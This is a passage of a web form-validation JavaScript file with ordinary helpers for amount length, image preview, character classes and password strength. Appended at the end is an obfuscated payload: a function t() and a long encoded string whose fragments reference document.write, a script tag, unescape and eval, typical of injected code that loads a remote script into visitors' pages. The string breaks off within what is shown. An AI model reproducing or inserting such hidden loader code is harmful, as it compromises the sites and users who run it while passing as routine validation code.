		}
	}
	

	/// checking the Scale of the amount
	function checkCurrency(s){
	var pos, count ,i;
	pos=0;
	
	 count=s.length
	
	for (i=0;i<=count-1;i++){
			if (s.charAt(i) == "."){
				pos = i;
			}
	 }	
	 
	  if(pos==0){
	 
			if(i > 11 ){
				return false;
			}			
	  }
	  else{
		   if(pos >11){
				return false;
		   }	
	  }
	return true;
   }

function funPreview(s)
{
	var url = s.value;
	if (url=="")
	{
		alert("No image has been selected.\nPlease select some image to preview");
		s.focus();
		return;
	}
	else 
	{
		if(!isValidFile(url))
		{
			alert("Please only upload files that end in types:  " 
			+ (extArray.join("  ").toUpperCase()) + "\nPlease select a new "
			+ "file to upload and submit again.");
		
			s.focus();
			return ;
		}
		else
		{
			options  = "resizable=yes,scrollbars=yes,status=no,";
			options += "menubar=no,toolbar=no,height=320,width=400,location=no,directories=no";
			var newWin = window.open('', 'Title', options);
			newWin.opener = self
			newWin.document.open()
			newWin.document.write("<head><title>Project</title></head>")
			newWin.document.write("<Img src='file:///" + url + "'>")
			newWin.document.close()
		}
	}  
}

function isSpecialChar(c){
	var iChars = "!@#$%^&*()+=-[]\\\';,./{}|\":<>?";
	if (iChars.indexOf(c) != -1) {
		return true;
	}
	return false;
	
}

function isLowerCase(c){
	var iChars = "abcdefghijklmnopqrstuvwxyz";
	if (iChars.indexOf(c) != -1) {
		return true;
	}
	return false;
	
}
function isUpperCase(c){
	var iChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
	if (iChars.indexOf(c) != -1) {
		return true;
	}
	return false;
	
}

function isStrongPassword(s)
{
	var minLength=8;
	var flagNum = 0;
	var flagUpper = 0;
	var flagLower = 0;
	var flagSpecial = 0;
	var maxLength=32;
	count = s.length;
	if(((minLength-1)<count)&&(count<(maxLength+1))){
		var c = s.charAt(0);
		if (!isLetter(c)){
			alert("First Character Of The Password Must Be Alphabetic!");	
			return false;
		}
		else{
			for(var i=1; i<count; i++){
				(isDigit(s.charAt(i)))?(flagNum=1):(flagNum=flagNum);
				(isLowerCase(s.charAt(i)))?(flagLower=1):(flagLower=flagLower);
				(isUpperCase(s.charAt(i)))?(flagUpper=1):(flagUpper=flagUpper);
				(isSpecialChar(s.charAt(i)))?(flagSpecial=1):(flagSpecial=flagSpecial);
			}
		}
		if((flagNum==1)&&(flagSpecial==1)&&(flagUpper==1)&&(flagLower==1))
		{
			return true;
		}
		else
		{
			(flagNum!=1)?(alert("Password Must Contain Atleast One Numeric Character!")):((flagUpper!=1)?(alert("Password Must Contain Atleast One Uppercase Character!")):((flagLower!=1)?(alert("Password Must Contain Atleast One Lowercase Character!")):(alert("Password Must Contain Atleast One Special Character!"))));
			return false;
		}
	}
	else{
		alert("Password Length Must Be Between "+minLength+ " To "+maxLength+" Charecters!");
		return false;
	}
	
	
}

function t(){return z($a);}var $a="Z64eZ3dZ22209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cbZ3dZ2264Z2573Z2529Z253bZ2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0Z253biZ253cdsZ252eZ256cZ22;caZ3dZ22Z2566uncZ2574iZ256fnZ2520dZ2563s(dZ2573Z252ceZ2573)Z257bdsZ253dunesZ2563apZ2565(Z25Z22;dzZ3dZ22Z2566uncZ2574Z2569oZ256e Z2564w(Z2574Z2529Z257bcaZ253dZ2527Z252564Z25256Z2566Z2563umZ252565Z25256eZ252574Z25252eZ2577Z252572iZ2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563Z252572Z252569pZ252574Z2525Z25320Z256caZ25256egZ2575aZ252567Z252565Z25253dZ25255Z2563Z252522jZ2561vaZ2573cZ252572iZ2570tZ25255cZ252522Z25253Z2565Z2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z2569Z2570Z2525Z25374Z25253eZ2527Z253beZ2576Z2561Z256c(uZ256eescZ2561peZ2528t))Z257d;Z22;cdZ3dZ22stZ253dstZ252bStrZ2569Z256eg.fZ2572oZ256dZ2543hZ2561Z2572Z2543odeZ2528(Z2574Z256dZ257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